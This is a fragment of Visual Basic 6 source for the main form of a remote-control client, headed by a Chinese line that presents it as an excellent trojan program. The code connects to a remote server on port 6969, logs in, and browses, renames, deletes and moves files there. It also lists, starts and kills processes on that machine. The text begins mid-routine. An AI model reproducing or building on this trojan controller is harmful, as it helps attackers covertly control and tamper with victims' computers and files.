frmmain.frm

优秀的木马程序,自己看吧

txtStatus.Width = Me.Width - 100
CloseStatus.Left = Me.Width - CloseStatus.Width - 100
End Sub


Private Sub mnuArrange_Click()
Me.Arrange (vbArrangeIcons)
End Sub

Private Sub mnuCascade_Click()
Me.Arrange (vbCascade)
End Sub

Private Sub mnuConnect_Click()
    If Winsock.State <> sckClosed Then
        Winsock.Close
        Do While Winsock.State <> sckClosed: DoEvents
        Loop
    End If
    
    Winsock.RemoteHost = CurrentServer.ServerIP
    Winsock.RemotePort = 6969
    Winsock.Connect
    
    Do While Winsock.State <> 7: DoEvents
        If Winsock.State = sckError Then Exit Sub
    Loop
    
    Winsock.SendData ("BEGIN_LOGIN")
    
End Sub

Private Sub mnuDisconnect_Click()
    Call Winsock.Close
    While Winsock.State <> sckClosed: DoEvents: Wend
    Status.Panels(1).Picture = ImageList1.ListImages(2).Picture
    mnuDisconnect.Enabled = False
    mnuConnect.Enabled = True
    txtStatus.SelColor = vbRed
    txtStatus.SelBold = True
    txtStatus.SelText = "Disconnected from server at " + Format(Time, "h:mm AM/PM") + vbCrLf
    txtStatus.SelBold = False
    mnuActions.Visible = False
    Unload frmFileView
    Unload frmProcesses
    
End Sub

Private Sub mnuExit_Click()
    End
End Sub

Private Sub mnuNewServerWiz_Click()
    frmNewServerWizard.Show
End Sub

Private Sub mnuStatusWindow_Click()
    With mnuStatusWindow
        If .Checked = True Then
            StatusWindow.Visible = False
            .Checked = False
        Else
            StatusWindow.Visible = True
            .Checked = True
        End If
    End With
End Sub

Private Sub mnuTileHor_Click()
Me.Arrange (vbTileHorizontal)
End Sub

Private Sub mnuTileVert_Click()
Me.Arrange (vbTileVertical)
End Sub

Private Sub mnuViewServers_Click()
    Toolbar1.Buttons(1).Value = tbrPressed
    frmServers.Show vbApplicationModal
End Sub



Private Sub Processes_MNU_Click()
frmProcesses.Show
End Sub

Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    Select Case Button.index
        Case 1
            'view server list
            Button.Value = tbrPressed
            frmServers.Show
            
        Case 3
            'view file transfer
            Button.Value = tbrPressed
            frmFileView.Show
    End Select
End Sub


Private Sub txtStatus_Change()
    txtStatus.SelStart = Len(txtStatus.Text)
End Sub

Private Sub Winsock_Close()
    Status.Panels(1).Picture = ImageList1.ListImages(2).Picture
    
    frmMain.Toolbar1.Buttons(3).Enabled = False
    
    mnuDisconnect.Enabled = False
    mnuConnect.Enabled = True
    
    txtStatus.SelColor = vbRed
    txtStatus.SelBold = True
    txtStatus.SelText = "Connection Lost! (" + Format(Time, "h:mm AM/PM") + ")" + vbCrLf
    txtStatus.SelBold = False
    
    Winsock.Close
    frmServers.MousePointer = 0
    frmServers.Connect.Caption = "&Connect"
    Me.MousePointer = 0
    mnuActions.Visible = False
    Unload frmFileView
    Unload frmProcesses
    
    If AutoReconnect = 1 Then
        Call mnuConnect_Click
    End If
End Sub

Private Sub Winsock_Connect()
    CurrentServer.ServerLabel = frmServers.Servers.SelectedItem.Text
    CurrentServer.ServerIP = Winsock.RemoteHostIP
    CurrentServer.Login = frmServers.txtLogin
    CurrentServer.Password = frmServers.txtPassword
    CurrentServer.InitDir = frmServers.txtInitRemDir
    
    txtStatus.SelColor = vbBlue
    txtStatus.SelBold = True
    txtStatus.SelText = "Connected to " & CurrentServer.ServerLabel & " (" & Winsock.RemoteHostIP & ") on port " & Winsock.RemotePort & vbCrLf
    txtStatus.SelBold = False
    txtStatus.SelText = "Waiting For Login Request..." & vbCrLf
End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
    'This is where all the commands are handled
    
    Dim Data As String
    Call Winsock.GetData(Data, , bytesTotal)
    
    If Left(Data, 6) = "ERROR:" Then
        'Server Error
        Data = Right(Data, Len(Data) - 6)
        Call ServerError(Data)
        Exit Sub
    End If
    
    If Data = "LOGIN" Then
        txtStatus.SelColor = vbBlue
        txtStatus.SelText = "Received Login Request From Server" + vbCrLf
        Call Winsock.SendData("LOGIN=" + CurrentServer.Login + ":" + CurrentServer.Password)
        txtStatus.SelText = "Sent Login to Server...Waiting for validation" + vbCrLf
        Exit Sub
    End If
    
    If Data = "INVALID_LOGIN" Then
        txtStatus.SelColor = vbRed
        txtStatus.SelText = "Invalid Login Name!" + vbCrLf
        Winsock.Close
        frmServers.MousePointer = 0
        frmServers.Connect.Caption = "&Connect"
        Me.MousePointer = 0
        Exit Sub
    End If
    
    If Data = "INVALID_PASSWORD" Then
        txtStatus.SelColor = vbRed
        txtStatus.SelText = "Invalid Password for " + CurrentServer.Login + "!" + vbCrLf
        Winsock.Close
        frmServers.MousePointer = 0
        frmServers.Connect.Caption = "&Connect"
        Me.MousePointer = 0
        Exit Sub
    End If
    
    If Data = "WELCOME" Then
        txtStatus.SelColor = vbBlue
        txtStatus.SelBold = True
        txtStatus.SelText = "Logged in as " + CurrentServer.Login + " at " + Format(Time, "h:mm AM/PM") + vbCrLf
        txtStatus.SelBold = False
        Status.Panels(1).Picture = ImageList1.ListImages(1).Picture
        mnuDisconnect.Enabled = True
        mnuConnect.Enabled = False
        Unload frmServers
        frmMain.Toolbar1.Buttons(1).Value = tbrUnpressed
        frmMain.Toolbar1.Buttons(3).Enabled = True
        Me.MousePointer = 0
        mnuActions.Visible = True
        
        If AutoshowFileTransfer = 1 Then
            frmFileView.Show
        End If
        Exit Sub
    End If
    
    If Left(Data, 4) = "SF->" Then
        Call ShowSharedFolders(Right(Data, Len(Data) - 4))
        Exit Sub
    End If
    
    If Left(Data, 14) = "DIR_CONTENTS->" Then
        MsgBox Data
        'used to get contents of a folder (for downloading)
        Call frmFileView.StringToQue(Mid(Data, 15, Len(Data) - 15))
        WaitingForContents = False
        Exit Sub
    End If
        
    If Left(Data, 5) = "DIR->" Then
        If Data = "DIR->NOTFOUND" Then
            MsgBox "That directory does not exist!", vbCritical, "Server Path Not Found"
            For x = 1 To frmFileView.ServerDrives.ComboItems.Count
                If LCase(frmFileView.ServerDrives.ComboItems(x)) = LCase(ServerPath) Then
                    frmFileView.ServerDrives.ComboItems(x).Selected = True
                    GoTo skipit
                End If
            Next x
            GoTo skipit
        End If
        
        Dim NewDir As String, d As String
        pipe = InStr(Data, "|")
        NewDir = Mid(Data, 6, pipe - 6)
        d = Right(Data, Len(Data) - pipe)
        
        Call StringToDir(frmFileView.ServerFileList, d)
        ServerPath = NewDir
        
        For x = 1 To frmFileView.ServerDrives.ComboItems.Count
            If LCase(frmFileView.ServerDrives.ComboItems(x).Text) = LCase(ServerPath) Then
                frmFileView.ServerDrives.ComboItems(x).Selected = True
                GoTo skipit
            End If
        Next x
        
        Call frmFileView.ServerDrives.ComboItems.Add(1, , ServerPath, "folder")
        frmFileView.ServerDrives.ComboItems(1).Selected = True
        
skipit:
        frmFileView.ServerFileList.MousePointer = 0
        frmFileView.Status.Panels(3).Text = UCase(ServerPath)
        Exit Sub
    End If
    
    
    If Left(Data, 10) = "NOT_SHARED" Then
        For x = 1 To frmFileView.ServerDrives.ComboItems.Count
            If UCase(frmFileView.ServerDrives.ComboItems(x)) = UCase(ServerPath) Then
                frmFileView.ServerDrives.ComboItems(x).Selected = True
                Exit For
            End If
        Next x
        MsgBox "That folder is not shared!", vbCritical, "Not Shared"
        Exit Sub
    End If
    
    
    If Data = "RENAMED" Or _
       Data = "DELETED" Then
        Call Winsock.SendData("DIR " + ServerPath)
        frmFileView.ServerFileList.MousePointer = 13
        Exit Sub
    End If
    
    
    If Data = "MOVED" Then
        WaitForMove = False
        Exit Sub
    End If
    
    If Data = "NOTMOVED" Then
        MsgBox "An error occured while moving file(s).", vbCritical, "Error"
        WaitForMove = False
        Exit Sub
    End If
    
    
    If Data = "CREATED" Then
        WaitForFolder = False
        Exit Sub
    End If
    
    If Data = "NOTCREATED" Then
        WaitForFolder = False
        MsgBox "An error occurred while creating a new folder!", vbCritical, "Error"
        Exit Sub
    End If
    
    
    If Left(Data, 11) = "TERMINATED=" Then
        strProcess = Right(Data, Len(Data) - 11)
        MsgBox "Process '" & strProcess & "' was terminated successfully.", 64, "Process Terminated"
        Exit Sub
    End If
    
    If Left(Data, 8) = "STARTED=" Then
        strProcess = Right(Data, Len(Data) - 8)
        MsgBox "Process '" & strProcess & "' was started successfully.", 64, "Process started"
        Exit Sub
    End If
    
    
    If Left(Data, 11) = "PROCESSES->" Then
        'We got the running processes back from the server
        
        Dim strData As String
        strData = Right(Data, Len(Data) - InStr(Data, "PROCESSES->") - 10)
        Call InitializeProcessList(strData)
    End If
    
End Sub


Private Sub Winsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    frmServers.MousePointer = 0
    Me.MousePointer = 0
    frmServers.Connect.Caption = "&Connect"
    
    Select Case Number
        Case 10061 'could not find server
            MsgBox "Server is not online!", vbCritical, "Error!"
            Exit Sub
    End Select
    MsgBox Description, vbCritical, "Error!"
End Sub